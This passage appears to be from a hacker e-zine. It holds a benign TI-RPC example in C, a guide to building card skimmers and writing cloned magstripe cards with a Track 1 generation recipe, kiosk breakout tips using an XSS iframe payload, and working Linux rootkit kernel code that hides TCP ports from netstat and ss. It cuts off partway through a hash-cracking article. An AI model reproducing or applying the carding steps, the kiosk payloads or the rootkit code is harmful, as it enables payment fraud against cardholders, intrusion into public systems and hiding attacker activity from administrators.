| | | | | | |-' | \ | | | | | |-' | | | | | | |-' |
o-o o--o O-o o-o o o-o o-o o-o o-o o-o o-o o-o o o o o-o o
|
o
/**
* Code for creating the client and server sides of a Transport
* Independent Remote Procedure Call "Hello World" in Linux
*
* i.e. not based on the SunRPC code of glibc
*
* Super-user access is not required, only a running portmapper.
*/
#include<stdio.h>
#include<stdlib.h>
#include<string.h>
#include<rpc/rpc.h>
/**
* gcc -o create-tcp-rpc-client create-tcp-rpc-client.c -ltirpc
*/
void vexit(const char *funcname)
{
perror(funcname);
exit(EXIT_FAILURE);
}
void dispatch(struct svc_req *request, SVCXPRT *xprt)
{
FILE *afile = fopen("/tmp/a.txt", "a");
if(!afile)
vexit("fopen");
fputs("Hello World!\n", afile);
fclose(afile);
return;
}
int main(void)
{
SVCXPRT* svcxprt = svctcp_create(RPC_ANYSOCK, 0, 0);
if(!svcxprt)
vexit("svctcp_create");
printf("xp_sock: %d\n", svcxprt->xp_sock);
printf("xp_port: %d\n", svcxprt->xp_port);
if(svc_register(svcxprt, 101337, 1, dispatch, IPPROTO_TCP) != 1)
vexit("svc_register");
svc_run();
exit(EXIT_SUCCESS);
}
#include<stdio.h>
#include<stdlib.h>
#include<string.h>
#include<rpc/rpc.h>
/**
* gcc -o create-tcp-rpc-client create-tcp-rpc-client.c -ltirpc
*/
void clnt_vexit(enum clnt_stat value)
{
clnt_perrno(value);
exit(EXIT_FAILURE);
}
void vexit(const char *funcname)
{
perror(funcname);
exit(EXIT_FAILURE);
}
int main(void)
{
char *in = "", *out = "";
enum clnt_stat s = rpc_call("192.168.1.113", 101337, 1, 1, xdr_int, in, xdr_int, out, "tcp");
if(s != RPC_SUCCESS)
clnt_vexit(s);
exit(EXIT_SUCCESS);
}
[==================================================================================================]
-=[ 0x05 The Tech Behind Credit Card Fraud
-=[ Author: K141
[[ Introduction ]]
---------------
Plastics carding is by far the most profitable type of credit card fraud - the replication, or
spoofing, of magnetic stripe data to a secondary suitable medium host (magstripe card) being the
most common form. I have written this paper to address the followed criminal procedures while
explaining these steps as basically as possible. There are numerous papers and articles released
that do not even touch the issues at hand; how these criminals obtain this information and more
generally, who does what in the spectrum of physical carding.
While 'physical carding' or plastics carding is dwarfed by the volume of virtual/online carding
done, it still stands as a major contender. Technologies exist which could eradicate this type of
attack; however, we see no intention of this from the banks as it involves critical changes in the
current infrastructure. To date, I see no tech-related reason why this form of fraud is still
allowed to be committed.
[[ Track Data ]]
------------
Within a credit card (high-coercive magnetic stripe card), there exists 3 tracks of data (3 sections
that are capable of storing data separately). This paper will cover the logical side of magstripe
encoding (all 3 tracks and relevant data) and not the physical, that is, the widths of each track,
polarities and coercivity. After reading, you should be more familiar with the processes involved in
how criminals obtain and handle this data to produce profits.
The majority of the time, Track 1 data is not needed for cashing out with plastics. This is the
information that will be shown on the receipt and/or POS (point-of-sale) terminal. There exist some
terminals, though, that require Track 1 to be present, and a good attacker (or 'carder') will always
fill their Track 1 field. Luckily for the attacker, Track 1s can be generated entirely based on
Track 2 data. It is important to mention that Track 1 is derived from the information on Track 2 and
is often used as a fail-safe if Track 2 is or can not be read. This is also the only track that
accepts alphanumeric characters.
Track 2 data is the most important for 'cashing out'. This is where the relevant information for
generating Track 1 data is held, as well as other data that allows a transaction to occur.
Track 3 data, mostly, is null.
Before a transaction may occur, a PIN is necessary for authentication. With that said, generally
speaking, Track 2 data + PIN = the ability to cash out with that card.
[[ Obtaining Track Data ]]
-----------------------
On many hacking/carding forums, there exist endless advertisements of "Dumps + PINs for sale". These
sellers, the majority of the time, are fraudulent (oh, irony) and will request a large 'minimum
amount' in order to successfully defraud at least $300 or so to make the scam worth their while. If
a seller is genuine and is selling Track 2 data + PINs (a rarity, but it does occur), he/she knows
the balance of the said account and knows this to be low. There do exist some legitimate sellers;
however, the data they sell is typically Track 2 only and can only be cashed out by the minority of
the carding community.
That being said, online vendors are not the only source of 'dumps'. An assailant may obtain Track 2
data with PINs by either building or buying their own card skimmer.
[[ ATM Skimming ]]
--------------
A 'skimmer' device is typically placed over the mouth of a genuine ATM in order to steal track data
before the card is legitimately read by the machine. As the victim's credit card is entered into the
ATM, it passes through the false fascia (the skimming device) and the Track 2 section passes over
the Track 2 read head, stealing the information. As it only passes over the read head, this card is
still able to enter the ATM machine and offer the same functionality as an un-tampered ATM.
If the skimming device is coupled with a miniature camera, it will take this Track 2 data, parse it
into a file on its storage medium, and also timestamp this data for later reference to the
timestamped video footage of pin entry. These skimmers must then be collected from the ATM after the
attack is complete (usually during early hours in the morning to avoid detection, or when the
battery has run low).
If the skimming device is coupled with a pin-pad overlay, it will transmit Track 2 data and PIN via
SMS or Bluetooth to the attacker's phone, reducing the risk of the attacker being caught and
concurrently allowing remote operation. These skimmers will only need to be re-visited when the
battery runs low.
An ATM skimming device is comprised of a few components:
- Fascia: To overlay the ATM mouth without suspicion.
- T2 Read Head: A small device to read the Track 2 data from the magnetic stripe card. Note,
ideally a skimmer will read only one track of information, as to keep the size of the device
minimal.
- Custom printed PCB: This parses the data taken from the Track 2 head and stores it to addressed
memory locations, usually a Micro-SD card or to the Bluetooth module.
- Bluetooth module (optional): A Bluetooth or SMS module is often used for remotely transmitting
Track 2 data, along with PINs back to the carder.
- Battery: To power the device.
The components required to build these devices are inexpensive, but the main obstacle towards the
building of a skimmer is technical know-how. I have found the price of pre-built skimmers currently
to range from $600-$8000, as opposed to $100-700 in building costs.
[[ POS Skimming ]]
--------------
Point of sale skimming is a software-based attack in which the firmware of the POS terminal is
flashed, rather than a physical device inserted. Common models are the VeriFone Vx510 and various
other Ingenico devices. These skimmers are mostly 'offline' skimmers, in which the target will
believe he/she is making a purchase with their card, and a transaction will appear to process along
with a receipt print, but no charge will actually occur. Instead, the card has just been swiped and
the target has entered their PIN. A flashed firmware can be programmed to output a later receipt
with all three track details, as well as PIN, or designed to save to file for later use. These
skimmers are usually deployed in stores with the store owner's knowledge, as he/she may be forcibly
issued to comply or offered a percentage of all money made.
An attacker wishing to purchase a chipped/flashed POS terminal will expect to pay $1000. All dumps
are encrypted, with the seller holding the encryption key. This forces the buyer to return to the
seller, send the encrypted file, and in return, receive only a percentage of the original skimmed
cards. Alternatively, these skimmers can be bought out for as much as $3,000-10,000.
[[ Obtaining Track Data Through Malware ]]
--------------------------------------
Although rare, ATM malware is an uprising issue among those in the carding community. After the
success of the Diebold Ghost trojan, there have been countless requests and confirmations of
development for malware designed on specific platforms, namely the Windows CE environment, a
favourite among ATM systems. This malware will effectively log all read card data and PINs, printing
them to a file encrypted by the malware for later collection. Alternatively, some variants have even
offered to print off all stolen credentials in a 'bank statement' format by using the ATM's printer.
Needless to say, the deployment of this malware originates from an insider, usually employed or
hired by the criminals to infect the ATM system from an ATM technician role.
[[ Converting Track Data ]]
-----------------------
Track 2 Data will often appear in the following format:
5281169568596016=14101010000045100001
^ ^^ ^ ^--CVV
| || |
Card number _||_ Service code
| |
Field separator Expiration date
Where:
5281169568596016 = credit card number
14 = expiry year
10 = expiry month
101 = service code
451 = CVV
To generate Track 1 information from a Track 2 field, one must follow these simple steps:
1. Add a 'B' before the credit card number.
2. Replace the '=' with '^LASTNAME/FIRSTNAME^'.
3. Add six '0's after the T2 data.
Thus, our outputted Track1 data should read as follows:
B5281169568596016^LASTNAME/FIRSTNAME^14101010000045100001000000
[[ Writing Track Data ]]
--------------------
Once both Track 1 and Track 2 fields are complete, the data is ready for writing to the blank
medium. An attacker will ensure that the medium (magnetic stripe card) he/she selects is of high
quality printing. Services offered typically cost around $15 per card. If the attacker is running a
large operation then he/she may even purchase the printing equipment themself. This is comprised of:
- Hi-Co Magnetic Stripe PVC Cards
- PVC Printer (Zebra printers are well known for this purpose)
- PVC card embosser (to emboss credentials on the card)
- PVC card tipper (to tip the embossing with silver/gold)
- Signature Panels (on the reverse of the card, often left out by inexperienced carders)
- Holograms (typically stickers or hot-roll stamps)
The magnetic stripe medium MUST be Hi-Co. Hi-Co stands for High Coercivity. This is the magnetic
power that allows the writing of data to occur on Hi-Co cards. All credit/bank cards will be Hi-Co
and, thus, need the appropriate device to be written to. Any device capable of writing at the
coercivity of 4000 Oersted (Oe) on the appropriate tracks will be suitable. Note that most standard
magstripe readers can read Hi-Co cards; coercivity only comes into question in the writing process.
The most common magnetic stripe Hi-Co writer is the MSR-206 and MSR-606. The supplied software
packages that come with these writers are extremely easy to operate, and it is only a matter of
copying and pasting the Track 1 and Track 2 data into the blank track fields, hitting 'write', and
swiping the blank card through the writer.
[[ Cashing Track Data ]]
--------------------
After this initial attack is complete, the attacker has two options to produce profit:
1. Form a crew to work with, willing to cash out this data. Higher risk of law enforcement, lower
risk of being scammed by those you work with.
2. Work with existing crews, often overseas. Lower risk of law enforcement, higher risk of being
scammed by those you work with.
Existing crews work on a percentage basis, normally offering a high percentage to the card supplier,
and if cash out is successful, will either return that percentage through Western Union or run with
the money. Typically, 'test cards' will be exchanged in order for these crews to prove their
authenticity.
Forming a crew usually means a localized operation, susceptible to investigation from local
authorities before any foreign law enforcement bodies are involved. I believe most crews will
operate in this manner, a localised crew, often employed by a gang or mafia to supply card data to
their superiors for resale (such as those sold online) or cashed out by a second team.
[[ Conclusion ]]
------------
Through my experiences investigating the darker parts of the Internet, specifically carding and
fraud, trends show that vendors of card data and/or information tend to be from a Russian source. It
is my belief that the operations involved in the obtaining and distribution of this information is
largely mafia-based. I hope the information contained within this paper is enough to deter people
from the 'carding scene' rather than to take an interest in it for personal gain. The people
involved are generally small fish, but around every large forum I have visited there are people with
connections I'd dare not to cross.
[==================================================================================================]
-=[ 0x06 Brief Notes on Retail Kiosk Hacking
-=[ Author: storm
-=[ Email: [email protected]
-=[ Website: http://gonullyourself.org/
If you've ever left your basement and ventured outside to the real world, you've more than likely
come into contact with a kiosk at some point in a store or hotel. Most kiosks provide only a
limited keyboard or run a very stripped down version of Windows, rendering certain actions difficult
or impossible to directly achieve, but that only makes it all the more fun. This is no means an
exhaustive article on hacking retail kiosks, but instead a list of little tips and tricks I've
compiled through my own personal experiences that may either help you or provide inspiration when
approaching a new device.
In the MSP airport, there is a kiosk running software called SiteKiosk. The device provides
Internet access at outrageous prices ($20/hour), although complimentary access to the airport's
website and Weather.com is so thoughtfully offered. As I sit typing this, my plane has been delayed
about 3.5 hours due to the torrents of snow outside, so I figured messing with the kiosk would give
me something to do other than eating candy and futilely waiting for the Boingo hotspot page to load.
The keyboard is clunky and missing sensitive keys like Ctrl and Alt; the mouse is a trackball with
two buttons, though the right-click button seems unresponsive. The web browser used by this kiosk
looks very much like a version of Internet Explorer themed with cleaner icons, and the file bar and
taskbar are hidden from view.
With buttons like Ctrl and Alt missing or disabled, we obviously can't try special key combinations
like Ctrl+Alt+Del, so the first step is to poke around what we can do with the software. The fact
that we can access the airport's website and Weather.com is very curious, especially since the
advertisements load fine (which are hosted on third-party servers), yet putting anything in the URL
bar pops up a "please insert monies" box. Luckily, Weather.com has an XSS in their quick lookup,
so a simple search for zip code <iframe src="http://www.google.com"></iframe> injects an IFrame into
the page, displaying our coveted search engine.
When a kiosk disallows access to the URL bar, whether it's trying to contain the user to a single
web site (think the online catalog at Staples stores) or reduce functionality (until the user forks
up their money), XSS is a good place to start. It is common enough that even if you don't come
prepared with a known XSS in the target website, it's usually a trivial matter to find one on the
spot. By injecting an IFrame, we gain the ability to browse any site we wish, as well as exercise
other web browser functionality that may escalate our access, provide opportunity to escalate our
access, or provide further information about the box.
At this point, we have achieved free Internet access (within the IFrame), but there are more
interesting things to do other than reading Reddit. A simple search for ha.ckers.org's iKat suite
leads us to a swiss army knife of tools to probe the system we're on.
Through this, we learn that our user-agent is: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1;
.NET CLR 2.0.50727; SiteKiosk 6.6 Build 213)
We can browse the filesystem by invoking the "Browse" form field, but unfortunately lack of right-
click doesn't let us easily open files and execute programs. If right-click were enabled, we would
be able to browse to C:\Windows\system32\cmd.exe within the prompt, right-click the program, and
select open to spawn a shell. Explorer.exe is also another good place to start. Once cmd.exe is
open, we would be able to manipulate the system, probe local files or scan the network, or kill the
kiosk software using `tasklist` and `taskkill`.
Unfortunately, the ability to view My Computer also seemed disabled. I did not spend a large amount
of time probing the system or enumerating all of the tools provided by iKat, but I did discover the
existence of a file named trust-root.p7b on the Desktop which looked interesting, along with a
shortcut to the SiteKiosk software.
In a separate escapade, I was lucky enough to come across an Internet/printing kiosk in the lobby of
a Marriott hotel provided by a company called iBAHN. If I recall correctly, this too was running
SiteKiosk, but the interface looked very different than the kiosk I encountered in MSP, and it
provided a range of additional functions such as printing and access to Microsoft Office. The
device seemed to take great care not to give too much access to the user (the software provided its
own, more limited filesystem browser that was meant to open documents from flash drives), but it
wasn't perfect. By opening Microsoft Word, you could access Windows Explorer through the File menu
or navigating the help bar in online mode, right-clicking and selecting "View Source". This would
invoke Notepad with a File menu of its own. Viewing My Computer only showed the CD drive and USB
stick that was currently plugged in, but it was possible to access C:\ simply by typing it in the
navigation bar.
There are plenty of kiosks around to play with, and many of them possess blatant holes in their
access restriction software. Even if there is nothing inherently interesting on the device, it
might be a good idea to check if it's connected to the network or if it dials home anywhere. Just
in general, it's fun to circumvent the software and snoop about the device, and of course things
like free Internet are always cool too. Some devices I've seen think they are clever, or are just
unstable, so working or reliable methods of accessing certain kiosks, such as the ones in Barnes &
Noble, are still to be determined. For instance, attempting to XSS the B&N website from their in-
store kiosk results in the device locking up and calling for employee assistance. Other devices
disable right-click, removing certain escalation opportunity and the ability to access critical
functionality necessary for an attack.
There is still much fun to be had, so if you have any tips, tricks, or your own kiosk-hacking
stories, drop us a message and your submission might just be in the next zine.
[==================================================================================================]
-=[ 0x07 Linux Rootkit Development Update
-=[ Author: duper
-=[ Website: http://projects.ext.haxnet.org/~super/
In the Linux kernel version 2.6.36, some changes to the procfs API will break the interface that
previously existing rootkits have with /proc/net/tcp. This is a critical change as far as rootkit
functionality goes, since a new technique is required to hide TCP ports from userland administration
programs such as netstat(8) and other network statistics gathering tools. Thanks to fawx for
initially bringing this issue to my attention.
As a side note: If you have any questions about the intricacies of the Linux kernel, as we will be
working closely with it throughout the course of this paper, consult /usr/src/linux/Documentation or
any of the links provided as references at the bottom.
Prior to release of the 2.6.36 patch, most Linux rootkits utilized a sequential search of the
proc_net->subdir linked list to locate the procfs data structure corresponding to the filesystem
pathname /proc/net/tcp. The way that entries in the /proc/net directory are accessed changed in
2.6.36, and as a result the majority of publicly available Linux rootkits featuring TCP connection
hiding stopped compiling; some benign networking drivers ceased to function as well. The API wasn't
changed in order to safeguard against rootkits -- that was only an unintended side effect.
In reality, implementing a kernel-mode TCP data filtering mechanism is even easier with the new
interface. A new kernel function is dedicated specifically to the purpose of initializing the
/proc/net/tcp file. Note that I'm using the term "file" loosely in this context, as procfs doesn't
behave like a typical filesystem that utilizes disk-based storage. In userland, when a file
descriptor corresponding to a procfs pathname is read(), the results are actually custom-formatted
kernel data objects. That's why /proc/net/tcp and, in fact, the majority of procfs pathnames, appear
as empty files when the stat() system call is executed on them. Although procfs files do have
inodes, their values approach 2**32 (the upper limit for ino_t), and thus they are outside the range
of use for partitioned disk filesystems. Observe the differences in output between the following two
commands:
$ stat /proc/net/tcp
File: `/proc/net/tcp'
Size: 0 Blocks: 0 IO Block: 1024 regular empty file
Device: 3h/3d Inode: 4026531957 Links: 1
Access: (0444/-r--r--r--) Uid: ( 0/ root) Gid: ( 0/ root)
Access: 2011-02-19 12:16:32.853287891 -0500
Modify: 2011-02-19 12:16:32.853287891 -0500
Change: 2011-02-19 12:16:32.853287891 -0500
Birth: -
$ stat /bin/ls
File: `/bin/ls'
Size: 109736 Blocks: 224 IO Block: 4096 regular file
Device: 303h/771d Inode: 7660308 Links: 1
Access: (0755/-rwxr-xr-x) Uid: ( 0/ root) Gid: ( 0/ root)
Access: 2010-12-25 23:33:12.000000000 -0500
Modify: 2010-12-24 12:18:47.000000000 -0500
Change: 2010-12-24 12:19:01.000000000 -0500
Birth: -
As you can see, the procfs pathname has a rather large inode number and a file size of 0, despite
the fact that we would receive data back if we ran `cat` against it. In the preceding examples, the
/usr/bin/stat binary (provided by the GNU coreutils package) executed the fstat() system call
against the the absolute pathnames given as arguments. In this next typescript, statfs() will be run
due to the "-f" command line option, which is an abbreviated form of the getopt_long() option
"--file-system", as documented in the stat(1) man page and GNU info pages.
$ stat -f /boot
File: "/boot"
ID: f6c5e14bf02df87f Namelen: 255 Type: ext2/ext3
Block size: 1024 Fundamental block size: 1024
Blocks: Total: 32175 Free: 11084 Available: 9423
Inodes: Total: 8320 Free: 8266
$ stat -f /proc
File: "/proc"
ID: 0 Namelen: 255 Type: proc
Block size: 4096 Fundamental block size: 4096
Blocks: Total: 0 Free: 0 Available: 0
Inodes: Total: 0 Free: 0
Clearly, procfs is special since the majority of its statistical information is zeroed out. The
glaring contrast in block size results from extfs handling disk blocks, whereas procfs handles
memory, as stated previously. On my x86-64 kernel, getpagesize() from unistd.h returns 4096.
However, page size is platform independent, so your mileage may vary. Note that sysfs behaves in a
manner identical to procfs according to statfs(). If your kernel is configured to support sysfs,
you'll find it listed under /sys in your /etc/mtab. The directory that rootkit developers would
probably want to concern themselves the most with is /sys/kernel. Again, depending on your
/usr/src/linux/.config or /proc/config.gz settings during the kernel's compile-time, various
subdirectories could be available under /sys/kernel. My machine has the debug, security, and mm
(memory manager) directories enabled currently. Now that we've gotten the basics squared away, let's
take a look at a rootkit..
struct proc_dir_entry *proc_find_tcp()
{
struct proc_dir_entry *p = proc_net->subdir;
while (strcmp(p->name, "tcp"))
p = p->next;
return p;
}
This is from adore-ng-0.56, a rootkit I downloaded from packetstormsecurity.org. The code above
shows the tediousness involved in accessing pathnames under the /proc/net directory. Since the
kernel didn't have any direct access functions defined, it became necessary to loop over the
directory entries manually. The last kernel version to be supported by this particular adore-ng
release appears to be 2.6.16, judging by some conditional preprocessor directives within the source:
#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,16)
MODULE_PARM(root_fs, "s");
MODULE_PARM(proc_fs, "s");
MODULE_PARM(opt_fs, "s");
#else
module_param(root_fs, charp, 0644);
module_param(proc_fs, charp, 0644);
module_param(opt_fs, charp, 0644);
#endif
It looks as if prior to 2.6.16 there was less convenient syntax available for those developing
Loadable Kernel Modules (LKMs). At the time of writing this article, the latest stable Linux kernel
is 2.6.37.1. However, I'll be using gentoo-sources-2.6.37 from the Gentoo portage tree. For the sake
of consistency, let's double check the current kernel versions:
$ finger @kernel.org
[kernel.org]
The latest linux-next version of the Linux kernel is: next-20110218
The latest snapshot 2.6 version of the Linux kernel is: 2.6.38-rc5-git5
The latest mainline 2.6 version of the Linux kernel is: 2.6.38-rc5
The latest stable 2.6.37 version of the Linux kernel is: 2.6.37.1
The latest stable 2.6.36 version of the Linux kernel is: 2.6.36.4
The latest longterm 2.6.35 version of the Linux kernel is: 2.6.35.11
The latest stable 2.6.35 version of the Linux kernel is: 2.6.35.9
The latest longterm 2.6.34 version of the Linux kernel is: 2.6.34.8
The latest stable 2.6.34 version of the Linux kernel is: 2.6.34.7
The latest longterm 2.6.32 version of the Linux kernel is: 2.6.32.29
The latest stable 2.6.32 version of the Linux kernel is: 2.6.32.28
The latest longterm 2.6.27 version of the Linux kernel is: 2.6.27.58
The latest stable 2.6.27 version of the Linux kernel is: 2.6.27.57
The latest stable 2.4.37 version of the Linux kernel is: 2.4.37.11
In 2.6.36, the pointer to the global proc_net structure variable (seen in the adore-ng-0.56 code
above) disappeared. After grepping around through the kernel source code a bit, I realized that the
functionality had been so heavily modified that I wasn't sure where to hook into /proc/net/tcp from.
I was able to grep /boot/System.map for procfs-related symbols and realized it was going to be a lot
easier than I thought. I found a tcp_proc_register function that allowed me to re-create
/proc/net/tcp. Also, the proc_net structure that was being referenced by adore-ng had now become
init_net. So, I simply deleted the existing /proc/net/tcp with proc_net_remove and re-initialized it
with the address of a custom struct (just to clarify, we are right now working inside the kernel):
static struct tcp_seq_afinfo tcp4_seq_afinfo = {
.name = "tcp",
.family = AF_INET,
.seq_fops = {.owner = THIS_MODULE},
.seq_ops = {.show = new_tcp4_seq_show}
};
To understand what's going on here, one needs to realize that procfs makes itself appear to userland
as any other filesystem would. It exposes various functions for operating on the files and
directories themselves, e.g., open, read, readdir, seek, etc. That's where the new_tcp4_seq_show
function comes in. The relative pathname to the file where the real tcp4_seq_show is defined is
net/ipv4/tcp_ipv4.c (as documented by Documentation/networking/proc_net_tcp.txt). The
new_tcp4_seq_show function is a malicious wrapper which invokes the legitimate tcp4_seq_show
function, unless it's determined that the TCP connection currently being processed by a read
operation on /proc/net/tcp corresponds to a port number that is intended to be hidden by the
rootkit. In that case, new_tcp4_seq_show will not construct the usual hexadecimal-encoded string
that describes the connection.
static int (*old_tcp4_seq_show)(struct seq_file *seq , void *v) = 0;
// Array initialization syntax must be zero-terminated
static const unsigned short hidden_ports[] = {6666, 7777, 888, 999, 0};
static int new_tcp4_seq_show(struct seq_file *seq, void *v)
{
const signed int retval = old_tcp_seq_show(seq, v);
register unsigned short i = 0;
static unsigned int line = 0;
auto char hex_port[8] = { 0 }, *offset = seq->buf + seq->count - NET_LINE;
if(v == SEQ_START_TOKEN)
return line = 0, retval;
for(i = 0;hidden_ports[i];i++)
{
sprintf(hex_port, ":%04X", hidden_ports[i]);
if(strstr(offset, hex_port))
return seq->count -= NET_LINE, retval;
}
sprintf(offset, "% 4i", line++);
return offset[4] = ':', retval;
}
The old_tcp_seq_show identifier is simply a function pointer to the original tcp4_seq_show function
that was assigned to the .seq_ops member of the tcp_seq_afinfo structure, whose definition was shown
above. To reiterate, our new_tcp4_seq_show function is wrapping the real tcp4_seq_show function. The
introduction of our wrapper function to the traditional kernel control flow effectively hides
certain ports from userland by looping over an array that contains the rogue port numbers. In this
way, running a command such as netstat will not display the TCP connections that have been hidden
from /proc/net/tcp.
The hidden_ports array is specified with the C language keywords "static" and "const." These prevent
the initialized port numbers from being accessed from outside of the current source file and from
having the values modified after compilation. Also, the hidden_ports array is defined to be of type
"unsigned short" because the source and destination port fields in TCP packet headers are non-
negative and 16 bits wide. Section 3.1 of RFC793 demonstrates this with an ASCII art representation.
0 1 2 3
0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Source Port | Destination Port |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
Now, to formally register our new /proc/net/tcp mechanisms, we first remove the original, then pass
pointers to the data structures representing the /proc/net directory and our new tcp entry within
it. Simply invoke the appropriate functions when initializing the Loadable Kernel Module. The
module_init macro tells the compiler which function to execute when using insmod on the compiled .ko
(kernel object) code file.
static int __init init_hidetcp(void)
{
proc_net_remove(&init_net, "tcp");
tcp_proc_register(&init_net, &tcp4_seq_afinfo);
return 0;
}
module_init(init_hidetcp);
Let's go ahead and test it out to make sure everything works. After compiling the rootkit itself
with GNU make and inserting the module into the kernel, we'll use netstat with the "-tW" command
line flags so only TCP connections are displayed and the wide display format will allow us to view
DNS hostnames in their entirety. One of the hidden port numbers we defined in the hidden_ports array
was 7777 so let's see if netstat detects a connection on that port.
$ gmake
$ insmod hidetcp.ko
$ telnet us.undernet.org 7777
Trying 208.83.20.130...
Connected to us.undernet.org
Escape character is '^]'.
^]
telnet> z
[1]+ Stopped telnet us.undernet.org 7777
$ netstat -tW
Active Internet connections (w/o servers)
Proto Recv-Q Send-Q Local Address Foreign Address State
tcp 0 0 alien.localdomain:51889 please.dont.hacktheinter.net:6697 ESTABLISHED
$
So far, we've seen how to hide TCP connections to or from certain port numbers from userland
programs that read from procfs. However, there's another way to access information about TCP
connections using rtnetlink(3). You can determine if a given program is using procfs or a netlink
protocol by tracing for the respective function calls.
$ whatis netlink
netlink (3) - Netlink macros
netlink (7) - Communication between kernel and userspace (AF_NETLINK)
$ strace -fe trace=open,socket netstat -tW 2>&1 > /dev/null | egrep -i '(tcp|netlink)'
open("/proc/net/tcp", O_RDONLY) = 3
open("/proc/net/tcp6", O_RDONLY) = -1 ENOENT (No such file or directory)
$ strace -fe trace=open,socket ./ss 2>&1 > /dev/null | egrep -i '(tcp|netlink)'
socket(PF_NETLINK, SOCK_RAW, 4) = 3
The ss binary being traced above is a piece of code distributed with iproute2 that retrieves socket
statistics. Iproute2 has a Wikipedia article at http://en.wikipedia.org/wiki/Iproute2 with some
helpful links to get you up to speed.
Some have probably noticed that the raw socket option is succeeding despite the fact that my current
prompt setting reflects that of a non-root user. Since the PF_NETLINK integer constant is the first
argument instead of PF_INET, the kernel has no issue with providing a positive return value.
Please note that rtnetlink isn't the only netlink protocol in existence -- there are many more; far
too many to mention here. There have been many academic research papers published on the subject of
netlink over the past decade or so. One of the latest and most interesting is entitled
"Communicating between the kernel and user-space in Linux using Netlink sockets" by Ayuso, Gasca and
Lefevre. The types of security-related operations it's capable of performing alone are extremely
comprehensive. For instance: detecting and mitigating DDoS attacks, subliminal channels between
processes with disparate privileges, multicasting a single communications channel to multiple system
users, implementing a dynamic routing protocol like Open Shortest Path First in userland, detecting
network interfaces with promiscuous mode enabled, etc.
In this particular scenario, usage of only a specific aspect of netlink is necessary to accomplish
the final goal of TCP connectivity that's as low-key as possible. Since connections hidden from
/proc/net/tcp can still be viewed via the netlink socket interface, another technique must be used
to avoid such disclosure. Here's another example typescript (`man script`) of the ss program from
the misc directory in iproute2's source tree as it executes on the standard output stream:
$ ./ss
State Recv-Q Send-Q Local Address:Port Peer Address:Port
ESTAB 0 0 192.168.1.100:56921 72.14.204.147:80
ESTAB 0 0 192.168.1.100:51237 184.27.36.110:22
In this case, the two TCP sockets listed are both in a connection established state. The four empty
message queue values being shown mean that the kernel has delivered all pending data transmissions
to and from the socket as of the current runtime. The code that handles Internet diagnostics
monitoring for the Linux kernel's rtnetlink protocol is located in /usr/src/linux/net/ipv4/inet_diag.c,
and /usr/src/linux/include/linux/inet_diag.h is of course the associated header file. TCP-specific
code is located elsewhere. However, we can simply disable all TCP socket diagnostics without
referencing any of the tcp_inet_diag oriented source files. The following short code snippet
inserted into the rootkit module's initialization function is sufficient to prevent netlink from
utilizing any TCP socket monitoring methods whatsoever:
static struct inet_diag_handler h;
h.idiag_type = TCPDIAG_GETSOCK;
inet_diag_unregister(&h);
Don't forget to include linux/inet_diag.h. Now iproute2's ss binary won't output any TCP connections
at all, since the handler responsible for the message type it was processing has now been removed.
It works, but it would be even better by only allowing Internet socket diagnostics for connections
whose source and destination port numbers don't match our blacklist. The full inet_diag_handler
structure must be filled out, and inet_diag_register should be invoked as well. This is similar to
passing the tcp_seq_afinfo structure to tcp_proc_register as outlined in the previous technique. A
brief outline tracing nested structure members back to actual port values follows. However, putting
that concept into compilable rootkit source code form will be left as an exercise for the reader.
include/net/inet_sock.h
112 struct inet_sock {
113 __be16 inet_dport;
114 __be16 inet_sport;
115 }
include/net/inet_connection_sock.h
86 struct inet_connection_sock {
87 /* inet_sock has to be the first member! */
88 struct inet_sock icsk_inet;
include/linux/tcp.h
292 struct tcp_sock {
293 /* inet_connection_sock has to be the first member of tcp_sock */
294 struct inet_connection_sock inet_conn;
net/ipv4/tcp_diag.c
20 static void tcp_diag_get_info(struct sock *sk, struct inet_diag_msg *r,
21 void *_info)
22 {
23 const struct tcp_sock *tp = tcp_sk(sk);
For more information on Linux kernel development, check out:
- The Linux Kernel Newbies site http://kernelnewbies.org/
- The linux-kernel mailing list FAQ http://www.tux.org/lkml/
- The Linux Kernel Hackers' Guide from the Linux Documentation Project
http://tldp.org/LDP/khg/HyperNews/get/khg.html (highly recommended)
- And, of course, the main Linux Kernel Archives site http://kernel.org
[==================================================================================================]
-=[ 0x08 High Performance Hash Cracking with MapReduce, Part 2
-=[ Author: elchupathingy
-=[ IRC: irc.gonullyourself.org #gny
/----------------------------------------------------------------------------------------
|
| Introduction
|
The last article talked about the basic theory of MapReduce and a few examples of how it can be
used. The options for MapReduce are not limited to those mentioned, but they are the easiest ones
to understand the concept of breaking up larger tasks and passing this information on to other
nodes. For this article, we will focus more on the code aspect of MapReduce instead of the higher-
level concepts.
/----------------------------------------------------------------------------------------
|
| Background
|
The very basic implementation of MapReduce shown here is something that can be expanded upon
easily. It provides the method of automatic data pre-processing and automatic post-processing.
But, being a simple implementation, there are problems with some of the mechanics inside the code.
Though, that is left to someone else to fix. By familiarizing yourself with the algorithm, and
stepping through the code, it should be a trivial manner to have yourself a fully functioning
MapReduce implementation.
/----------------------------------------------------------------------------------------
|
| Theory
|
To recap: The idea behind MapReduce is quite simple to grasp, but its layout is detailed and may
lead to confusion at times. Here is a look at a typical layout of a MapReduce network:
/----------------------------------------------\
/------\ | | | | | |
|Master|----/ /------\ /------\ /------\ /------\ /------\
\------/ |Mapper| |Mapper| |Mapper| |Mapper| |Mapper|
\------/ \------/ \------/ \------/ \------/
| | | | |
| | | | |
/-------\ /-------\ /-------\ /-------\ /-------\
|Reducer| |Reducer| |Reducer| |Reducer| |Reducer|
\-------/ \-------/ \-------/ \-------/ \-------/
| | | | |
\ \ | / /
\ \ | / /
\ \ | / /
\ \ | / /
\ \ | / /
\ \ | / /
\ \ | / /
\ \ | / /
\ \ | / /
\ \|/ /
\ | /
\-----------------/
|
/---------\
|Answer!!!|
\---------/
Now that's a picture. This network layout has two key characteristics to it:
1) Series of Mappers
2) Series of Reducers
These two things are the meat of the MapReduce concept. Now, what exactly is MapReduce? It's
formally defined as the following:
/------------------------------------------------------------------------------------
|MapReduce is a framework for processing huge datasets on certain kinds of
|distributable problems using a large number of computers (nodes), collectively
